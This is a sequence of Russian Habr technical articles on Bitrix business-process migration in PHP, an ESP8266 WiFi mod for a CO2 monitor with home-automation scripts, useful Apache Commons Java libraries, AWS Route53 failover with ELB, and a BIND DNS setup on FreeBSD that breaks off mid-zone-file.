```
';
var_dump($arFieldsTemplate);
```
```
В массиве параметров процесса мы видим вот такие вхождения:
Смотрим на строку group\_g15. Здесь 15 – это ID группы HR.
Смотрим на строку user\_579. Здесь 579 – это ID пользователя.
Это значит, что если мы импортируем процесс на другой площадке, у нас будут сплошные нестыковки.
Т.о. нам нужно сделать замену после миграции этих ID на те, которые актуальны для площадки, куда импортируем процесс.
Группы определяем по символьному коду, пользователей – по логину.
Для начала на той площадке, где создавали процесс, получаем символьный код группы и логин пользователя. В том случае, если у вас не заданы символьные коды групп, лучше сначала написать миграцию и установить их.
В нашем примере:
* Код группы – HR
* Логин пользователя – svetlana.kuznetsova
Далее пишем в миграции функции, которые по коду и логину отдадут нам id группы и пользователя:
* getUserId($login)
* getGroupId($code);
Наконец, обновляем в шаблоне соответствующие значения:
```
/**
* Write action by apply scenario. Use method `setData` for save need rollback data
**/
public function commit() {
```
Импортируем бизнес-процесс:
```
$pathBPElement = __DIR__ . '/files/bp-94-approve-task.bpt';
$id = $this->importBP($pathBPElement);
```
Получаем данные шаблона:
```
$arFieldsTemplate = \CBPWorkflowTemplateLoader::GetList([], ['ID' => $id])->GetNext();
$template = $arFieldsTemplate["TEMPLATE"];
```
Заменяем id пользователей внутри бизнес-процесса:
```
$template[0]['Children'][0]['Properties']["MessageUserTo"][0] = 'group_g' . $this->getGroupId('HR');
$template[0]['Children'][0]['Properties']["MessageUserTo"][1] = 'user_' . $this->getUserId('svetlana.kuznetsova');
$arNewFields = [
“TEMPLATE” => $template,
“VARIABLES” => $arFieldsTemplate["VARIABLES"]
];
$arNewFields["MODIFIER_USER"] = new \CBPWorkflowTemplateUser(CBPWorkflowTemplateUser::CurrentUser);
\CBPWorkflowTemplateLoader::Update($id, $arNewFields);
}
```
Здесь при запуске миграции мы загружаем файл и функцией importBP создаем/обновляем процесс. Далее мы получаем структуру шаблона бизнес-процесса в массив, подменяем ID и обновляем шаблон.
Подводя итоги
-------------
В этой статье мы затронули лишь отдельные случаи, где при переносе между площадками могут возникнуть несоответствия, и обозначили, на что обратить внимание. В целом мы в своей практике сталкивались со следующими привязками по id:
* user\_ (привязка к пользователю)
* group\_ (привязка к группе пользователей)
* iblock\_ (привязка к инфоблоку)
* SequentialWorkflowActivity (запуск бизнес-процесса из шаблона)
* PROPERTY\_ (привязка к полю документа с незаданным символьным кодом)
Если все сделано правильно, перенос отлаженного бизнес-процесса на продакшн проходит быстро и гладко.
Надеемся, что наш опыт был вам полезен!
**Показать пример целиком**
```
php
/**
* Updates migration scenario actions
**/
class ws_m_1565783124_approve_task extends \WS\Migrations\ScriptScenario
{
private $arBPFields = [
'DOCUMENT_TYPE' = [
'lists',
'BizprocDocument',
'iblock_'
],
'AUTO_EXECUTE' => 0,
'NAME' => 'Утверждение задач',
'CODE' => 'TEST',
];
private $codeIBlock = 'APPROVE_TASK';
/**
* Name of scenario
* @return string
**/
public static function name()
{
return 'approve task process';
}
/**
* Description of scenario
* @return string
**/
public static function description()
{
return 'process to approve task and set task deadline +14 days after approving';
}
/**
* @return array First element is hash, second is owner name
*/
public function version()
{
return ['13ebf9abe69204014459b80a7036b7a0', ''];
}
/**
* Return IBlock ID
* @return int
*/
private function getIblockId()
{
$result = CIBlock::GetList(
[],
[
'TYPE' => 'bitrix_processes',
'=CODE' => $this->codeIBlock
],
false,
['nTopCount' => 1]
);
if ($arIBlock = $result->Fetch()) {
return $arIBlock['ID'];
}
return 0;
}
/**
* Start import BP
* @param $path
* @return mixed
*/
private function importBP($path)
{
CModule::IncludeModule('bizproc');
CModule::IncludeModule('iblock');
//Get iBlock id for which BP is created
$this->arBPFields['DOCUMENT_TYPE'][2] .= $this->getIblockId();
// Get BP id by the CODE
$result = \CBPWorkflowTemplateLoader::GetList(
[],
[
'CODE' => $this->arBPFields['CODE'],
'MODULE_ID' => 'lists'
]
);
if ($arFields = $result->GetNext()) {
$id = $arFields['ID'];
} else {
$id = 0;
}
//read file to a variable
$f = fopen($path, 'rb');
$datum = fread($f, filesize($path));
fclose($f);
//Update BP if id>0, otherwise add BP
\CBPWorkflowTemplateLoader::ImportTemplate(
$id,
$this->arBPFields['DOCUMENT_TYPE'],
$this->arBPFields['AUTO_EXECUTE'],
$this->arBPFields['NAME'],
'',
$datum,
$this->arBPFields['CODE']
);
return $arFields['ID'];
}
/**
* @param $login
* @return mixed
*/
private function getUserId($login)
{
$rsUsers = Bitrix\Main\UserTable::getList([
"select" =>['ID'],
"filter" => ['LOGIN' => $login],
]);
$userFields = $rsUsers->fetch();
return $userFields['ID'];
}
/**
* @param $code
* @return mixed
*/
private function getGroupId($code)
{
$rsGroups = \Bitrix\Main\GroupTable::getList(
[
'filter' => ['STRING_ID'=> 'HR'],
'select' => ['ID']
]);
$arFields = $rsGroups->fetch();
return $arFields['ID'];
}
/**
* Write action by apply scenario. Use method `setData` for save need rollback data
**/
public function commit()
{
//make BP import
$pathBPElement = _DIR_ . '/files/bp-94-approve-task.bpt';
$id = $this->importBP($pathBPElement);
//get template data
$arFieldsTemplate = \CBPWorkflowTemplateLoader::GetList([], ['ID' => $id])->GetNext();
$template = $arFieldsTemplate['TEMPLATE'];
//replace id inside BP tempalte
$template[0]['Children'][0]['Properties']['MessageUserTo'][0] = 'group_g' . $this->getGroupId('HR');
$template[0]['Children'][0]['Properties']['MessageUserTo'][1] = 'user_' . $this->getUserId('svetlana.kuznetsova');
$arNewFields = [
'TEMPLATE' => $template,
'VARIABLES' => $arFieldsTemplate['VARIABLES']
];
$arNewFields['MODIFIER_USER'] = new CBPWorkflowTemplateUser(CBPWorkflowTemplateUser::CurrentUser);
\CBPWorkflowTemplateLoader::Update($id, $arNewFields);
}
/**
* Write action by rollback scenario. Use method `getData` for getting commit saved data
**/
public function rollback()
{
$pathBPElement = _DIR_ . '/files/bp-wt-old.bpt';
$id = $this->importBP($pathBPElement);
$arFieldsTemplate = \CBPWorkflowTemplateLoader::GetList([], ['ID' => $id])->GetNext();
$template = $arFieldsTemplate['TEMPLATE'];
$arNewFields = [
'TEMPLATE' => $template,
'VARIABLES' => $arFieldsTemplate['VARIABLES']
];
$arNewFields['MODIFIER_USER'] = new CBPWorkflowTemplateUser(CBPWorkflowTemplateUser::CurrentUser);
\CBPWorkflowTemplateLoader::Update($id, $arNewFields);
}
}
``` | https://habr.com/ru/post/466823/ | null | ru | null |
# Добавляем WiFi к монитору качества воздуха: измеритель CO2 для умного дома
Измерители CO₂ от Даджет уже снискали некоторую популярность из-за своей доступности и достаточно низкой цены(да, до десяти тысяч за NDIR-измеритель это еще бюджетно).
И вот когда я в один прекрасный момент задумался о мониторинге в своем доме не только температуры и влажности, но еще и количества углекислого газа, я сразу же вспомнил об этой компании и ее приборах.
Как известно, датчиков у Даджет два — [один](https://dadget.ru/detektor-co2) подключаемый проводом к компьютеру, а к [другому](https://dadget.ru/katalog/zdorove/monitor-co2) можно подключить контроллер(как было сделано [тут](https://geektimes.ru/post/271100/)) для считывания показаний. Меня больше интересовал второй вариант котроллера, так как я хотел, чтобы датчик не был привязан к компьютеру проводом, и его можно было разместить в любом месте квартиры.
Итак, решено: берем монитор CO₂ и прикручиваем к нему WiFi в виде ESP8266.
#### ► WiFi Inside
Пациент готов к операции:
Для вскрытия надо вытащить 4 резиновых заглушки:
И выкрутить винты, скрывающиеся под ними. После этого можно осторожно разъединить две части корпуса(например пластиковой карточкой):
Осторожно — потому что внутри они соединены трубкой, которую надо аккуратно отцепить и засунуть внутрь корпуса, чтобы не мешалась:
На нижней части платы расположены 4 контактных отверстия:
Люди, знакомые с электроникой, поймут их назначение по буквам рядом с ним. Остальные поймут это из моего объяснения: V (voltage) — питание, D(data) — данные, С(clock) — синхронизация, G(ground) — земля.
G, он же GND, он же «земля» — нулевая точка, от которой отсчитывается напряжение питание(то, которое V) и уровни сигналов данных. В обывательской практике можно сказать, что G — это «минус», а V — это «плюс», как в батарейках. Оно даже будет правдой… пока не появится еще одно напряжение, после чего условности вроде «минуса» полетят в тартарары.
С, он же clock, он же тактовый, он же синхросигнал — специальный сигнал, который указывает принимающей стороне, когда надо считывать сигнал с линии данных(которая D).
В отличии асинхронных протоколов(типа UART/RS-232), где такого сигнала нет, и синхронизация строится на точном указании одинаковой частоты(=скорости) на передающей и принимающей стороне(все эти 1200, 9600, 115200 бод), в синхронном протоколе есть отдельная линия, смена уровня на которой означает, что приемник должен измерить состояние линии данных поняв, какой бит передается в текущий момент.
Плюсом синхронного протокола является нечувствительность к разнице тактирования устройств(можно хоть ручками набирать байты, если не ограничений по времени), минусом — необходимость отдельного провода. В принципе, при одинаковой частоте передачи, можно разбирать синхронную передачу и без тактового сигнала, но такими извращениями мы страдать не будем.
Цепляемся осциллографом на контакты и видим посылки с данными:
Приближаем, и вот уже можем разглядеть отдельные биты:
Можем даже расшифровать сообщение, но не будем. Нам важно понять, что он действительно что-то отправляет, чтобы потом не думать «а почему у меня данные не приходят» по причине их отсутствия.
Вместо осциллографа припаиваем и клеим термоклеем платку с ESP8266:
Подключаем ее по UART к компьютеру(на фото два провода, без земли, потому что измеритель питается от того же ноута) и начинаем писать код.
#### ► Исходники
Пишется код в среде Arduino c включенной поддержкой ESP8266(как ее включить, можно прочитать вот [тут](https://github.com/esp8266/Arduino)). Как нажимать кнопочку для прошивки, думаю, разберетесь сами, или с помощью esp8266.ru.
Сам проект состоит из трех файлов: файла проекта, и подключенной библиотеки за авторством [fedorro](https://geektimes.ru/users/fedorro/), который в свою очередь, использовал наработки [отсюда](https://github.com/revspace/co2sensor).
**Код я спрячу под спойлер, даже не смущать неокрепшие умы**Файл первый, **CO2\_meter.ino**:
```
#define PIN_CLOCK 14 // Пин, к которому подключен контакт "С" — тактовый сигнал
#define PIN_DATA 12 // Пин, к которому подключен контакт "D" — данные
#include
#include
#include "mt8060\_decoder.h"
const char\* ssid = "MikroTik-951"; //Имя сети
const char\* password = "FAKEPASSWORD"; //Пароль сети
String co2\_value = ""; //Значение содержания углекислоты в ppm
String tmp\_value = ""; //Значение температуры в градусах цельсия
String hum\_value = ""; //Значение влажности воздуха в процентах
int error\_count = 0; //Счетчик ошибок контрольной суммы(кстати, можно не считать, неделями работает без ошибок)
ESP8266WebServer server(80); //Создаем обьект сервера
void setup()
{
Serial.begin(115200); //Настраиваем UART
WiFi.begin(ssid, password); //Подключаемся к WiFi
while (WiFi.status() != WL\_CONNECTED)
{
delay(500);
Serial.print("."); // Усердно показываем в UART, что мы заняты делом
}
Serial.println("");
Serial.print("WiFi connected, IP ");
Serial.println(WiFi.localIP());
server.on("/co2", co2\_show); // Устанавливаем адреса страниц и функции, этим адресам соотвествующие
server.on("/tmp", tmp\_show);
server.on("/hum", hum\_show);
server.on("/json", json\_show);
server.onNotFound(NotFound\_show); // Главная страница
server.begin();
pinMode(PIN\_CLOCK, INPUT); //Настраиваем порты на вход
pinMode(PIN\_DATA, INPUT); //Настраиваем порты на вход
attachInterrupt(digitalPinToInterrupt(PIN\_CLOCK), interrupt, FALLING); //Включаем прерывание на пине с тактовым сигналом
}
void interrupt() // По каждому прерыванию начинаем собирать данные
{
bool dataBit = (digitalRead(PIN\_DATA) == HIGH);
unsigned long ms = millis();
mt8060\_message\* message = mt8060\_process(ms, dataBit); //Отправляем текущее время и текущий бит в функцию, взамен получаем восхитительное ничего, если битов еще не набралось до полного сообщение, и расшифрованный пакет, если битов достаточно.
if (message) { //если в ответ получен пакет
if (!message->checksumIsValid) //то проверяем, правильно ли рассчитана контрольная сумма
{
error\_count++;
}
else // и если правильно...
{
switch (message->type) //...то в зависимости от типа пакета...
{
case HUMIDITY:
hum\_value = String((double)message->value / 100, 0); // сохраняем значение влажности
Serial.print("HUM:");
Serial.println(hum\_value); // Выводим в UART
break;
case TEMPERATURE:
tmp\_value = String((double)message->value / 16 - 273.15, 1); // конвертируем и сохраняем значение температуры
Serial.print("TMP:"); // Смотрите-ка! Сиськи! -> (. )(. )
Serial.println(tmp\_value); // Выводим в UART
break;
case CO2\_PPM:
co2\_value = String(message->value, DEC); // сохраняем значение количества CO₂
Serial.print("CO2:");
Serial.println(co2\_value); // Выводим в UART
break;
default:
break;
}
}
}
}
void co2\_show() { //Функция, выводящая CO₂ простым текстом
server.send(200, "text/plain", co2\_value);
}
void tmp\_show() { //Функция, выводящая температуру простым текстом
server.send(200, "text/plain", tmp\_value);
}
void hum\_show() { //Функция, выводящая влажность простым текстом
server.send(200, "text/plain", hum\_value);
}
void NotFound\_show() { //Функция, выводящая красивую стартовую страницу с кнопочками
String form = "Dadget МТ8060 CO₂ monitor.c{text-align: center;} div,input{padding:5px;font-size:1em;} input{width:95%;} body{text-align: center;font-family:verdana;} button{border:0;border-radius:0.3rem;background-color:#1fa3ec;color:#fff;line-height:2.4rem;font-size:1.2rem;width:100%;} .q{float: right;width: 64px;text-align: right;}Dadget МТ8060 CO₂ monitor
=========================
CO₂ value ([co2] ppm now)
Temperature value ([tmp]°С now)
Humidity value ([hum]% now)
JSON(all values)";
form.replace("[co2]", co2\_value); //подставляем текущие значения
form.replace("[hum]", hum\_value);
form.replace("[tmp]", tmp\_value);
server.send(200, "text/html", form); //отправляем форму клиенту
}
void json\_show() { //Функция, выводящая все данные в виде JSON
String json = "[{\"co2\":"; //Формируем строку c JSON данными
json += co2\_value;
json += ",\"tmp\":";
json += tmp\_value;
json += ",\"hum\":";
json += hum\_value;
json += ",\"serial\":";
json += ESP.getChipId();
json += ",\"errors\":";
json += error\_count;
json += ",\"uptime\_min\":";
json += String(millis()/60000);
json += "}]";
server.send(200, "application/json", json); //Отправляем
}
void loop()
{
server.handleClient(); //Ждем подключения клиентов по HTTP
}
```
Так же, код можно посмотреть на моем [GitHub](https://github.com/vvzvlad/co2sensor_esp8266). Пулл-реквесты приветствуются, как и подсказки в комментариях, как можно сделать лучше!
Запускаем, заходим на страничку устройства…
Работает! Приводим провода в порядок, находим для платы свободное место в корпусе:
Закрепляем каплей термоклея, и вот, операция закончена, остается ~~зашить~~ закрыть крышку(не забыв про трубочку), и установить в нужное место дома:
#### ► Собираем статистику
Однако, пока что ситуации «посмотрел на экран измерителя» и «посмотрел на веб-страничку» отличаются не очень сильно. Чтобы было интереснее, надо либо чем-то управлять, либо собирать статистику.
Конечно, можно еще поковыряться с ESP, использовав ее память под хранение графика, или сделав так, чтобы она управляла каким-нибудь WiFi-реле… Но я не поклонник распределённых систем, и считаю, что у умного дома должен быть как [минимум один сервер](https://geektimes.ru/company/logicmachine/blog/271538/).
Для того, чтобы сделать из единичных показаний график, я воспользуюсь возможностями Logic Machine — скриптами и трендами. Конечно, все тоже самое можно сделать и на любом компьютере, но раз инструменты есть у меня под рукой, почему бы не воспользоваться.
Создаем новый Sheduled-скрипт(выполняющийся по расписанию), настраиваем его на запуск каждую минуту:
Внутри пишем что-то вроде этого:
```
local http = require('http')
local json = require('json')
local raw_data, code = socket.http.request('http://co2meter.lc/json') --Запрашиваем страничку. Говорим спасибо роутеру микротик за внутренние DNS-имена
if (code == 200) then --Если код ответа 200..
local data = json.decode(raw_data) --Пытаемся декодировать ответ из json в таблицы lua
if (data ~= nil) then --Если ответ являлся валидными json-данными...
if (data[1].uptime_min > 2) then --И если это не первые две минуты работы измерителя(после включения происходит "прогрев" и во время него значения могут плавать)
grp.update('S_CO2_CO2', data[1].co2) --Записываем в объекты значения CO₂, влажности и температуры
grp.update('S_CO2_TMP', data[1].tmp)
grp.update('S_CO2_HUM', data[1].hum)
end
end
end
```
Вуаля! Мы получили первые показания:
Теперь надо их превратить в симпатичные графики. Нет ничего проще(да простит меня Dadget за бессовестную рекламу нашего контроллера, я уже заканчиваю)! Trends logs —> Add new trend log:
Теперь осталось подождать недельку-другую для сбора данных, и вот они, наши графики:
Ну и конечно, самый интересный график:
Оказалось, наблюдать за уровнем CO₂ и проводить параллели между изменениями на графике и своими действиями оказалось очень интересно!
**Факт №1**: Газовая плита ОЧЕНЬ сильно повышает уровень CO₂.
**Факт №2**: При отсутствии людей и хотя бы чуть-чуть открытом окне(даже в режиме микропроветривания) уровень CO₂ быстро снижается до фоновых значений.
**Факт №3**: Люди в квартире(даже спящие) вносят существенный вклад в количество углекислоты. Важно открывать окна(можно в другой части квартиры) на ночь, чтобы не надышать до вредных значений.
**Факт №4**: Количество CO₂, выделяемое человеком, сильно зависит от его активности. Стоит проснуться и полуспящим походить по квартире, как количество углекислоты начинает расти.
**Факт №5**: Количество CO₂, выделяемое человеком, ОЧЕНЬ сильно зависит от его активности. И от типа активности.
#### ► Управляем вентилятором
В качестве площадки для тестирования вентиляции, управляемой по уровню CO₂, я выбрал [офис](https://geektimes.ru/company/madrobots/blog/262622/#g8). В нем уже настроено управление вентиляцией с контроллера(как именно, смотрите по предыдущей ссылке), так что мне просто оставалось настроить реакцию на повышение уровня CO₂. В LM делается это так:
Создаем новый скрипт типа Event-based(выполняемый при изменении объекта), устанавливаем в качестве объекта мониторинга объект, в который мы записывает текущее значение CO₂:
В коде скрипта пишем несложную логику, которая будет включать вентиляцию при уровне углекислоты выше 1000ppm, и выключать при уровне меньше 800, реализуя гистерезис для предотвращения частого включения-выключения вентиляции:
```
--Скрипт выполняет при любом изменении объекта
value = grp.getvalue("S_CO2_CO2") --Получаем значение обьекта с количеством углекислого газа
if (value > 1000) then --Если его больше, чем 1000ppm...
grp.write('HP-7.1', true) --..включаем вентиляцию
elseif (value < 800) then --Если CO₂ меньше, чем 800ppm...
grp.write('HP-7.1', false) --..выключаем вентиляцию
end
```
Таким образом, вентиляция включится при повышении уровня CO₂ до 1000ppm, и не выключится, пока не опустит его значение до 800ppm.
Жужжит!
Ссылки:
[Внутренности похожего устройства и описание протокола](https://revspace.nl/CO2MeterHacking)
[Обзор прибора](https://geektimes.ru/company/dadget/blog/268230/)
[Разбор прибора](https://geektimes.ru/post/269746/)
[Подключение измерителя к Arduino](https://geektimes.ru/post/271100/)
Если вам интересны темы интернета устройств и умного дома, добро пожаловать в канал в телеграме: [telegram.me/IOTandSmarthome](https://telegram.me/IOTandSmarthome)
В течение 14 дней, со дня публикации данной статьи, вы можете [приобрести](https://dadget.ru/katalog/zdorove/monitor-co2/?utm_referrer=geektimes.ru&utm_source=geektimes.ru&utm_medium=article&utm_term=monitor-co2&utm_content=monitor-co2&utm_campaign=monitor-co2_198) «Монитор качества воздуха» с 10%-й скидкой, используя код GEEKT-MK. | https://habr.com/ru/post/394333/ | null | ru | null |
# Уголок Java-разработчика: библиотеки на каждый день
За все время, проведенное в написании кода на Java, у меня сформировался определенный набор полезных **cторонних** библиотек, которые прочно засели в classpath, и без которых не обходится ни один день разработки, будь то написание чего-либо «на коленке» или работа над серьезным проектом. Речь идет не о «монстрах» вроде Spring, Struts, Hibernate (это другая история), а скорее об утилитах, которые заполняют пробелы в Java SE API и позволяют сэкономить десяток-другой лишних строк кода/минут тут и там. Этой информацией я бы и хотел поделиться с хабрасообществом — надеюсь, она пригодится особенно тем, кто только начинает штурмовать Java, и позволит немного, но увеличить производительность труда.
Итак, список **наиболее часто** используемых мной классов и методов с комментариями:
[**Apache Commons: Collections**](http://commons.apache.org/collections/)
Очень хорошая библиотека, во многом дополняющая Java SE Collections Framework. Очень полезна особенно тем, кто из-за «требований клиента» застрял на Java 2 SE 1.4.2 (бывает и такое) и до сих пор мечтает о *LinkedHashMap* :)
* [CollectionUtils](http://www.jdocs.com/collection/3.2/org/apache/commons/collections/CollectionUtils.html). Пожалуй, наиболее часто используемый класс с кучей «вкусного»:
+ filter/find(Collection, Predicate) — фильтрация и поиск по предикату.
+ forAllDo(Collection, Closure) — выполняет Closure для каждого элемента (добавят ли они когда-нибудь Closure в Java?)
+ is(Not)Empty(Collection) — позволяет не проверять на null перед вызовом (мелочь, но приятно, сравните с java.util.Collection.isEmpty())
+ isEqualCollection(Collection, Collection) — никогда не приходилось сравнивать две коллекции вручную?
+ Еще несколько десятков полезных методов.
* [ClosureUtils](http://www.jdocs.com/collection/3.2/org/apache/commons/collections/ClosureUtils.html) — для тех, кто давно мечтает о появлении полноценных Closure в Java.
* Много других классов разного уровня полезности (здесь и дальше я перечисляю наиболее часто используемые в моем случае).
[**Apache Commons: DbUtils**](http://commons.apache.org/dbutils/index.html)
* [DbUtils](http://www.jdocs.com/dbutil/1.0/org/apache/commons/dbutils/DbUtils.html#M-closeQuietly%28Connection,Statement,ResultSet%29)
+ closeQuietly(Connection, Statement, ResultSet) — работаете с JDBC напрямую? Надоело постоянно писать вложенные if/try/catch/finally для правильного закрытия ресурсов с проверкой на null? Тогда вам сюда :) Типичный код «из учебника»
>
> ```
>
> try {
> // do some db work
> }
> catch (Exception e) {
> e.printStackTrace();
> }
> finally {
> try {
> if (rs!=null)
> rs.close();
> }
> catch (Exception e) {
> e.printStackTrace();
> }
> try {
> if (st!=null)
> st.close();
> }
> catch (Exception e) {
> e.printStackTrace();
> }
> try {
> if (conn!=null)
> conn.close();
> }
> catch (Exception e) {
> e.printStackTrace();
> }
> }
>
> ```
>
принимает более элегантную форму:
>
> ```
>
> try {
> // do some db work
> }
> catch (Exception e) {
> e.printStackTrace();
> }
> finally {
> DbUtils.closeQuietly(conn,st,rs);
> }
>
> ```
>
[**Apache Commons: IO**](http://commons.apache.org/io/api-release/index.html)
Работа с файлами — не самая сильная сторона платформы, которую любят использовать критики Java (иногда, заслуженно). Например, запрос на реализацию *java.io.File.copy()* [висит](http://bugs.sun.com/view_bug.do?bug_id=4032604) уже 10 лет. Commons IO частично выручает:
* [FileUtils](http://www.jdocs.com/io/1.2/org/apache/commons/io/FileUtils.html#M-copyDirectory%28File,File%29)
+ copyDirectory(File, File) — копирование директорий
+ сopyFile(File, File) — копирование файлов
+ listFiles(File, String[], boolean) — список файлов по расширению и рекурсивно. То, чему java.io.File так и не научился.
+ readFileToString(File, String)
+ writeStringToFile(File, String)
* [IOUtils](http://www.jdocs.com/io/1.2/org/apache/commons/io/IOUtils.html)
+ closeQuietly(Reader/Writer/InputStream/OutputStream) — также как и DbUtils, реально помогает избежать спагеттиподобного кода, который часто получается, когда нагромождаются if/try/catch/finally, чтобы просто закрыть I/O ресурс.
+ copy(InputStream, OutputStream) — это классика.
[**Apache Commons: Lang**](http://commons.apache.org/lang/)
Утилиты для работы со строками, reflection, сериализацией, объектами и системой. Пожалуй, наиболее часто используемая библиотека из Apache Commons.
* [StringUtils](http://www.jdocs.com/lang/2.1/org/apache/commons/lang/StringUtils.html) — огромное количество методов для манипуляций со строками.
+ is(Not)Blank/Empty(String) — о `if (s!=null && s.trim().length()>0)` давно пора забыть.
* [StringEscapeUtils](http://www.jdocs.com/lang/2.1/org/apache/commons/lang/StringEscapeUtils.html)
+ (un)escapeSql(String) — для тех, кто не пользуется PreparedStatement-и :)
+ (un)escapeHtml(String) — куда ж Web-разработчику без этого.
* [ToStringBuilder](http://www.jdocs.com/lang/2.1/org/apache/commons/lang/builder/ToStringBuilder.html)
+ reflectionToString(Object) — реализация toString(), основанная на рефлексии. То есть, результат работы метода автоматически изменится при добавлении или удалении полей объекта. Для ленивых, вроде меня :)
* [EqualsBuilder & HashCodeBuilder](http://www.jdocs.com/lang/2.1/org/apache/commons/lang/builder/HashCodeBuilder.html)
+ reflectionEquals/HashCode(Object). Методы, конечно же, должны использоваться вместе. Подходят, когда равенство двух oбъектов означает равенство значений **всех** полей. Eclipse-пользователи возразят, что уже давно есть опция меню «generate hashCode() and equals()». Однако, *эти* два Builder-а **автоматически** учитывают структурные изменения объекта в процессе его эволюции, такие как добавление полей.
* [ExceptionUtils](http://www.jdocs.com/lang/2.1/org/apache/commons/lang/exception/ExceptionUtils.html)
+ getFullStrackTrace(Throwable). За 13 лет у java.lang.Throwable так и не появилось простого, но нужного метода, который бы выдал трейс в виде String…
Буду рад выслушать замечания и *ваши* советы по использованию jar-ов на каждый день. | https://habr.com/ru/post/46687/ | null | ru | null |
# AWS Route53: DNS Failover теперь с поддержкой Elastic Load Balancer
Привет, друзья! 
Совсем недавно вышла [статья](http://habrahabr.ru/post/170471/) [astlock](http://habrahabr.ru/users/astlock/) о фейловере DNS. Фича, конечно классная и удобная, но те, кто хостил в AWS большие проекты с ELB совсем не почувствовали нового. Если фейловер не работает с ELB, то мне лично эта функция абсолютно бесполезна.
Но вот настал тот день, когда стало возможным использовать блага Route53 вместе с ELB. Настраивая запись в режиме Failover и соединяя её с ELB мы тем самым включаем возможность автоматического мониторинга ELB. Переключение записи с Primary на Secondary произойдёт автоматически в следующих ситауциях: 
* отказ и недоступность ELB
* отсутствие здоровых инстансов под ELB
Route53 теперь даёт возможность **автоматически переехать** в случае отказа всего региона,
В этой статье я расскажу, как я протестировал новый функционал.
Итак, для тестов я настроил 2 ELB и по одному инстансу под каждым из них. На одном я поставил Apache, а на другом nginx, чтоб различать их.
Route54 был настроен следующим образом:
Как вы видите, одна запись Primary, другая Secondary.
В обычном состоянии домен test.kozhokaru.com показывает страничку апача, т.е. наше живое приложение.
*Домен поинтится:*
```
$ host test.kozhokaru.com
test.kozhokaru.com has address 23.21.77.253
```
Для теста заходим на хост и тушим апач, имитируя тем самым падение приложения. И начинаем смотреть, что же происходит у нас на веб странице:
Приблизительно **через 40 секунд** ELB понимает, что инстанс под ним не здоров:
И ещё **через 2 минуты** мы получаем фейловер страницу:
IP адрес поменялся:
```
$ host test.kozhokaru.com
test.kozhokaru.com has address 107.21.245.152
```
*Возвращаем всё назад запуском апача* на первом хосте. В зависимости от вашего хелсчека на ELB, хост окажется здоровым через определённое количество времени:
И уже **через 1 минуту 40 секунд** домен вернулся на главный ELB.
IP адрес сменился назад:
```
$ host test.kozhokaru.com
test.kozhokaru.com has address 23.21.77.253
```
#### Выводы
Автоматический фейловер домена занимает около **двух минут**, возврат назад — где-то так же.
Теперь у нас в руках есть замечательная функция, которая несомненно поможет нам в *построении высокодоступных распределённых систем*. | https://habr.com/ru/post/181942/ | null | ru | null |
# Настройка DNS сервера на FreeBSD
Довольно часто возникает вопрос о внедрении своего ДНС сервера, который мог бы не только обслуживать запросы внешних пользователей к приобретенным ДНС именам, но и обслуживать запросы пользователей в локальной сети. Такая задача относительно просто решается средствами ОС FreeBSD.
**Задача:**
Настроить DNS сервер Bind под управлением FreeBSD для обслуживания запросов клиентов внутренней сети и обслуживания прямой и обратной зон DNS с функцией их пересылки на вторичный DNS сервер. Тип всех зон на сервере — Master, то есть данный сервер предоставляет авторитетные ответы за все зоны.
**Дано:**
1. Внутренний IP адрес DNS сервера — 192.168.0.1/24
2. Внешний IP адрес DNS сервера — 10.10.10.1/24
3. IP адрес вторичного сервера — 10.10.10.2/24
4. Прямая DNS зона — test.dom
5. Обратная DNS зона — 10.10.10.in-addr.arpa
**Решение:**
1. В файле **/etc/rc.conf** прописываем запуск DNS сервера при старте системы
`named_enable=”YES”`
2. Приводим конфигурационный файл **/etc/namedb/named.conf** к следующему виду:
`acl ACCESS { 127.0.0.1; 192.168.0.0/24; 10.10.10.0/24; };
options {
directory "/etc/namedb";
pid-file "/var/run/named/pid";
dump-file "/var/dump/named_dump.db";
statistics-file "/var/stats/named.stats";
listen-on { 127.0.0.1; 10.10.10.1; };
allow-recursion { ACCESS; };
allow-transfer { 10.10.10.2; };
transfer-source 10.10.10.1;
version "Bind DNS Server";
};
logging {
category lame-servers { null; };
};
zone "." {
type hint;
file "named.root";
};
zone "localhost" {
type master;
file "master/localhost";
};
zone "0.0.127.in-addr.arpa" {
type master;
file "master/0.0.127.in-addr.arpa";
};
zone "test.dom" {
type master;
file "master/test.dom";
allow-query { any; };
};
zone "10.10.10.in-addr.arpa" {
type master;
file "master/10.10.10.in-addr.arpa";
allow-query { any; };
};`
Где:
acl — список доступа с именем ACCESS и описанием в нем сетей, которым разрешено использовать наш DNS сервер.
directory – Рабочая директория Bind
pid-file — Место размещения PID файла
dump-file – Место размещения DUMP файла
statistics-file – Место размещения файла статистики
listen-on – Указываем IP адреса интерфейсов, на которых Bind будет «слушать» запросы
allow-recursion – Указываем списки доступа, кому разрешены рекурсивные запросы к серверу
allow-transfer – Указываем IP адрес вторичного DNS сервера, которому будем пересылать наши зоны
transfer-source – Указываем IP интерфейса, через который будет разрешено проведение трансфера зон
version – Указываем свою версию DNS сервера
logging – Указываем ограничение журналирования
zone "." — Зона, описывающая корневые DNS сервера, необходима для работы. Хранится в файле /etc/namedb/named.root
zone «localhost» — Прямая зона, описывающая локальный сервер, необходима для работы. Хранится в файле /etc/namedb/master/localhost
zone «0.0.127.in-addr.arpa» — Обратная зона, описывающая локальный сервер, необходима для работы. Хранится в файле /etc/namedb/master/0.0.127.in-addr.arpa
zone «test.dom» — Наша прямая зона. Хранится в файле /etc/namedb/master/test.dom Так как на нашем сервере хранится мастер копия зоны, при помощи allow-query, разрешаем всем ее опрос.
zone «10.10.10.in-addr.arpa» — наша обратная зона. Хранится в файле /etc/namedb/master/10.10.10.in-addr.arpa. Так как на нашем сервере хранится мастер копия зоны, при помощи allow-query, разрешаем всем ее опрос.
3. Настраиваем файлы зон
3.1. Зона **"."** — оставляем по умолчанию
3.2. Зона **«localhost»**. Конфигурационный файл **/etc/namedb/master/localhost** приводим к следующему виду:
`$TTL 3600
@ IN SOA localhost. root.localhost. (
2009070601 ; Serial
3600 ; Refresh
600 ; Retry
2419200 ; Expire
86400 ) ; Minimum
IN NS localhost.
IN A 127.0.0.1`
3.3. Зона **«0.0.127.in-addr.arpa»**. Конфигурационный файл **/etc/namedb/master/0.0.127.in-addr.arpa** приводим к следующему виду:
`$TTL 3600
@ IN SOA localhost. root.localhost. (
2009070601 ; Serial
3600 ; Refresh
600 ; Retry
2419200 ; Expire
86400 ) ; Minimum
IN NS localhost.
1 IN PTR localhost.`
3.4. Зона **«test.dom»**. Конфигурационный файл **/etc/namedb/master/test.dom** приводим к следующему виду:
`$TTL 3600
